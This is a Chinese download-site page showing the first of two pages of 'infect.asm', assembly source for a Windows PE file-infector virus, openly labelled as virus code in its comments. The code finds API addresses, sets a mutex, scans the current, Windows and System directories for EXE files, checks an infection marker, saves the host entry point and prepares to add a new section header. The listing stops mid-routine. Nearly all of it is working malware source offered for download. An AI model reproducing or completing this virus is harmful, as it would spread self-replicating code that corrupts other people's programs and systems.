⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 infect.asm

📁 感染文件程序
💻 ASM
📖 第 1 页 / 共 2 页
字号:
;nihao.asm安静版
	;++ 以下PE所提及的PE头即为IMAGE_NT_HEADERS,即NT头
	.386
	.model flat,stdcall
	  option casemap:none
	  include windows.inc
	 ; include kernel32.inc
      ;includelib kernel32.lib

	;这是一些相关的定义,其实程序中根本就没用到
	;只是我习惯,一股脑的全搬上来啦
	;------------------------------------(上面的)--
initializtion   proto   :DWORD
GetApiAddress   proto   :DWORD,:DWORD,:DWORD
	.data
	; 主程序所用到的一些变量
	;------------------------------------(上面的)--
	.code

	 host_start:
	     call LoadLib
	     db 'user32',0
	 LoadLib:
	     call [vLoadLibraryA]
	     call GetProcAddr
	     db 'MessageBoxA',0
	 GetProcAddr:
	     push eax
	     call [vGetProcAddress]
	     push MB_OK
	     push offset szCaption
	     push offset szText
	     push 0
         call eax
        push 0
        call [vExitProcess]
        szText db "How about Micro$hit @_@",0
        szCaption db 'My dear',0
	;主程序代码
	;病毒代码运行完后,就会跳到此处执行。
	;------------------------------------(上面的)--
	 BadDay SEGMENT PARA USE32 'BadDay'
		assume cs:BadDay,ds:BadDay
;==================================================================
;API表
;==================================================================
 
ApiStart EQU THIS BYTE
szLoadLibraryA      db  "LoadLibraryA", 0
vLoadLibraryA       dd  0
szGetProcAddress    db  "GetProcAddress", 0
vGetProcAddress     dd  0
szExitProcess       db  "ExitProcess", 0
vExitProcess        dd  0

ApiList  db 0
KernelApi EQU THIS BYTE
szCreateMutexA      db "CreateMutexA",0
vCreateMutexA       dd  0
szGetLastError      db  "GetLastError",0
vGetLastError       dd  0
szCreateThread      db  "CreateThread",0
vCreateThread       dd  0
szWaitForSingleObjectEx db  "WaitForSingleObjectEx",0
vWaitForSingleObjectEx dd 0
szSetComputerNameA db  "SetComputerNameA",0
vSetComputerNameA dd 0
szCreateFileA db  "CreateFileA",0
vCreateFileA dd 0
szSetFilePointer db  "SetFilePointer",0
vSetFilePointer dd 0
szReadFile db  "ReadFile",0
vReadFile dd 0
szWriteFile db  "WriteFile",0
vWriteFile dd 0
szCloseHandle db  "CloseHandle",0
vCloseHandle dd 0
szGetCurrentDirectoryA db  "GetCurrentDirectoryA",0
vGetCurrentDirectoryA dd 0
szFindFirstFileA db  "FindFirstFileA",0
vFindFirstFileA dd 0
szGetWindowsDirectoryA db  "GetWindowsDirectoryA",0
vGetWindowsDirectoryA dd 0
szGetSystemDirectoryA db  "GetSystemDirectoryA",0
vGetSystemDirectoryA dd 0
szSetCurrentDirectoryA db  "SetCurrentDirectoryA",0
vSetCurrentDirectoryA dd 0
szlstrcpy db  "lstrcpy",0
vlstrcpy dd 0
szFindNextFileA db  "FindNextFileA",0
vFindNextFileA dd 0
szFindClose db  "FindClose",0
vFindClose dd 0
szGetSystemTime db  "GetSystemTime",0
vGetSystemTime dd 0
KernelApiEnd DB 0

;User32Api equ this byte
;szMessageBoxA db 'MessageBoxA',0
;vMessageBoxA  dd  0
;User32ApiEnd DB 0

ApiEnd DB 0

;data
hKernelDll dd 0
;data
;==============================================
	 vstart:
	    push ebp
		call nstart
	 nstart:    
		pop ebx
		sub ebx,offset nstart
	;病毒中常用的一种方法。得到一个偏移差。
	;程序后面用到的所有变量都需要加上个这偏移差
	;------------------------------------(上面的)--
	;=========================
	; *  更改程序入口地址  *
		cmp des_basein[ebx],0
		jnz gogo
		mov des_basein[ebx],401000h
	  gogo:
	   ;暴力获取API
       ;==========================================================
        invoke initializtion, [esp+4]
        ;获得 Kernel32.dll 中的所需的 Api 的线性地址:
        ;lea ecx,KernelApi[ebx]
        LEA ECX,szCreateMutexA[EBX]
        lea edx,KernelApiEnd[ebx]
        invoke GetApiAddress, hKernelDll[ebx],ecx,edx
       ;==========================================================
       ;创建宿主线程
       ;invoke CreateThread,NULL,0,offset Down,offset id,0,offset id
       lea eax,id[ebx]
       push eax
       push 0
       lea eax,id[ebx]
       push eax
       push des_basein[ebx]
       push 0
       push NULL
       call vCreateThread[ebx]
       mov threadHdl[ebx],eax
    	;创建宿主线程完必
   ;================================================
   ;创建互斥体
   ;HANDLE mutexHdl=CreateMutex(NULL,FALSE,"On Command");
   ;if(!mutexHdl || GetLastError()==ERROR_ALREADY_EXISTS)
    ;   ExitProcess(1);
    lea eax,mutexName[ebx]
    push eax
    push FALSE
    push NULL
    call vCreateMutexA[ebx]
    xchg ecx,eax
    jecxz exIt
    call vGetLastError[ebx]
    CMP EAX,ERROR_ALREADY_EXISTS
    jnz createMutexSuccessFull
exIt:
    Jmp outNow
createMutexSuccessFull:
    mov mutexHdl[ebx],ecx
   ;================================================
       
	;变量定义的的意思见后方
	;程序开始执行时,当前程序的原入口地址会放到des_basein中
	;由于程序中des_basein有别的用途,因此将此地址存放到
	;now_basein,以便最后跳回原程序入口。
	;------------------------------------(上面的)--
	;-------------------------
	;目录的开头部份
		lea eax,NowPath[ebx]
		push eax
		mov eax,256
		push eax
		call vGetCurrentDirectoryA[ebx]
	;通过API函数得到当前程序所在目录
	;------------------------------------(上面的)--
		lea eax,NowPath[ebx]
		push eax
		lea eax,SrcDir[ebx]
		push eax
		call vlstrcpy[ebx]
	;保存当前目录
	;------------------------------------(上面的)--
		mov NowPathNo[ebx],1
	 FindStartT:
		cmp NowPathNo[ebx],1
		jz GFindFt
		cmp NowPathNo[ebx],2
		jz GetWinD
		cmp NowPathNo[ebx],3
		jz GetSysD
		jmp AllFindEnd    
	;根据NowPathNor值来判断感染哪个目录的文件
	;------------------------------------(上面的)--
	  GetWinD:  
		mov eax,256
		push eax
		lea eax,NowPath[ebx]
		push eax
		call vGetWindowsDirectoryA[ebx]
		lea eax,NowPath[ebx]
		push eax
		call vSetCurrentDirectoryA[ebx]
		jmp GFindFt
	;得到WINDOWS所在目录,并且将其设为当前目录
	;------------------------------------(上面的)--
	  GetSysD:
		mov eax,256
		push eax
		lea eax,NowPath[ebx]
		push eax
		call vGetSystemDirectoryA[ebx]
		lea eax,NowPath[ebx]
		push eax
		call vSetCurrentDirectoryA[ebx]
	;得到SYSTEM所在目录,并且将其设为当前目录
	;------------------------------------(上面的)--
	  GFindFt:
		lea eax,FindData[ebx]
		push eax
		lea eax,FileFilter[ebx]
		push eax
		call vFindFirstFileA[ebx]
		cmp eax,INVALID_HANDLE_VALUE
		jz FindEnds
		mov hFind[ebx],eax
	;查找当前目录下的第一个EXE文件
	;------------------------------------(上面的)--
	  GoOnFind:   
	;以下是病毒传染部份
	;-------------------------
		push 0
		push FILE_ATTRIBUTE_NORMAL
		push OPEN_EXISTING
		push 0
		push FILE_SHARE_READ+FILE_SHARE_WRITE
		push GENERIC_READ+GENERIC_WRITE
		lea eax,FindData[ebx].cFileName
		push eax
		call vCreateFileA[ebx]
	;打开文件
	;------------------------------------(上面的)--
		cmp eax,INVALID_HANDLE_VALUE
		jz createfail
		 mov hFile[ebx],eax
		push FILE_BEGIN
		push 0
		push 3ch             ;DOS头偏移3CH中存PE头的地址
		push hFile[ebx]
		call vSetFilePointer[ebx]
	;将文件指针指到3CH处(见前面的讲的)
	;------------------------------------(上面的)--
	 
		push 0
		lea eax,byte_read[ebx]
		push eax
		push 4
		lea eax,PE_head_addr[ebx]    ;首次处理PE_head_addr,保存的是PE头地址
		push eax
		push hFile[ebx]
		call vReadFile[ebx]
	;得到PE头偏移地址
	;------------------------------------(上面的)--
			
		cmp eax,0
			jz readfail
			  push FILE_BEGIN
			  push 0
			  push PE_head_addr[ebx]
			  push hFile[ebx]
			  call vSetFilePointer[ebx]
	;指文件指针定位到PE头处
	;------------------------------------(上面的)--
				  
			  mov Head_len[ebx],sizeof PE_head+sizeof Section_table ;Head_len存放的是 (PE头大小+段表大小)
				  
			  push 0
			  lea eax,byte_read[ebx]
			  push eax
			  push Head_len[ebx]
			  lea eax,PE_head[ebx]   ;因为定义时PE_head变量的空间后面就是Section_table,而且文件头中两部分也是连着的,就一起读出来了
			  push eax
			  push hFile[ebx]
			  call vReadFile[ebx]
	;从PE头处开始读,将所读数据存放在缓冲区中
	;------------------------------------(上面的)--
			  cmp dword ptr PE_head[ebx].Signature,IMAGE_NT_SIGNATURE 
			  jnz exitwrite
	;检查是否是PE文件,不是就跳出
	;------------------------------------(上面的)--
              cmp word ptr PE_head[ebx+5ch],IMAGE_SUBSYSTEM_WINDOWS_GUI
              jz win32  ;是Win32程序就开工
              cmp word ptr PE_head[ebx+5ch],IMAGE_SUBSYSTEM_WINDOWS_CUI
              jnz exitwrite
              win32:
			  cmp word ptr PE_head[ebx+1ah],0707h            
			  jz exitwrite
	;若已感染过也跳
	;------------------------------------(上面的)--
			Noinfect:
				  ;保存与程序入口相关的RVA
			push PE_head[ebx].OptionalHeader.AddressOfEntryPoint
			pop des_in[ebx]     ;保存原入口映象偏移
			push PE_head[ebx].OptionalHeader.ImageBase
			pop des_base[ebx]   ;保存原映象基址
			mov eax,des_in[ebx]
			add eax,des_base[ebx]  ;入口偏移+基址得到入口地址
			mov des_basein[ebx],eax    ;保存入口地址          
	;保存将要感染的程序的入口RVA和默认装入内存的地址
	;------------------------------------(上面的)--
				  
			  movzx eax,PE_head[ebx].FileHeader.SizeOfOptionalHeader  ;取可选头大小
			  add eax,18h    ;等于可选头相对NT_Head的偏移=Signature         DWORD  (4) +     FileHeader        IMAGE_FILE_HEADER (14h),三者组成PE_header
			  mov Section_addr[ebx],eax
	;得到可选尾部相对PE_head_addr的偏移量,即PE头的长度       ;++修正
	;------------------------------------(上面的)--
			  mov checker_len[ebx],offset vend-offset ApiStart
	;得到病毒代码段的长度   第一次 修改checker_len
	;------------------------------------(上面的)--
			  movzx eax,PE_head[ebx].FileHeader.NumberOfSections
			  inc eax          ;将新段的段表所需空间算进去
			  mov ecx,28h
			  mul ecx          ; 得到段表长,一个段表长28H,因为文件头不会太长,就没考虑EDX
			  add eax,Section_addr[ebx]   ;  加上PE头长 
			  add eax,PE_head_addr[ebx]   ; 加上PE头的基址,得到段表尾部地址,即整个文件头长度
			  cmp eax,PE_head[ebx].OptionalHeader.SizeOfHeaders  ;是不是超过文件头允许长度 
	;检测当前文件头的剩余空间可否再加一个节。
	;------------------------------------(上面的)--
			  ja exitwrite
			  MOV ECX,dword ptr PE_head[ebx+0D0H] ;取Bound_table.virt_addr到ECX
			  test ECX,ECX
			  jz nobnd   ;没用Bound_table就走
			  cmp EAX,ECX      ;节尾压上Bound_tablevirt_addr指向的空间了??
			  jb nobnd   ;没有就走
			  ADD EAX,dword ptr PE_head[ebx+0D4H]      ;加上Bound_table.Size
			  CMP EAX,PE_head[ebx].OptionalHeader.SizeOfHeaders       ;超过最大长度
			  ja exitwrite                         ;超过就放弃
			  
			   
			   ;要搬动Bound_table 了
			  push FILE_BEGIN
			  push 0
			  push ECX          ;等于Bound_table.virt_addr
			  push hFile[ebx]
			  call vSetFilePointer[ebx]
			  
			   ;把后面算法偷到前面来了
			   ;lea esi,Section_table[ebx]     ;取段表Buffer区地址到ESI(里面已经存入了原文件的段表了)
			   movzx eax,PE_head[ebx].FileHeader.NumberOfSections
               inc eax       
			   mov ecx,28h                                            ;;;;;;IMAGE_SECTION_HEADER长为28H
			   mul ecx    ;得到新的段表总长
               MOV ECX,EAX ;保存到ECX
			   ;add esi,eax   
			   add eax,Section_addr[ebx]   ;  加上PE头长 
			   add eax,PE_head_addr[ebx]   ; 加上PE头的基址,得到段表尾部地址,即整个文件头长度
			   MOV dword ptr PE_head[ebx+0D0H],EAX  ;修改Bound_table.Virt_addr

			   ;更新Head_len
               MOV EAX,ECX ;取段表长
			   add EAX,sizeof PE_head   ;加上PE_header长
			   ADD EAX,dword ptr PE_head[ebx+0D4H]   ;加上Bound_table指向空间的长度
			   MOV Head_len[ebx],EAX
			   
               MOV EAX,ECX   ;取段表长
			   lea esi,Section_table[ebx]     ;取段表Buffer区地址到ESI(里面已经存入了原文件的段表了)
               add EAX,esi  ;得到Bound_table在Buffer 中的位置放入EAX
		       push 0
		       lea ECX,byte_read[ebx]
		       push ECX
		       push dword ptr PE_head[ebx+0D4H]  ;长度为Bound_table里确定的长度
		       push EAX               ;将原来的Bound_table指向空间内容读到内存中新位置
		       push hFile[ebx]
		       call vReadFile[ebx]
			 nobnd:                

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -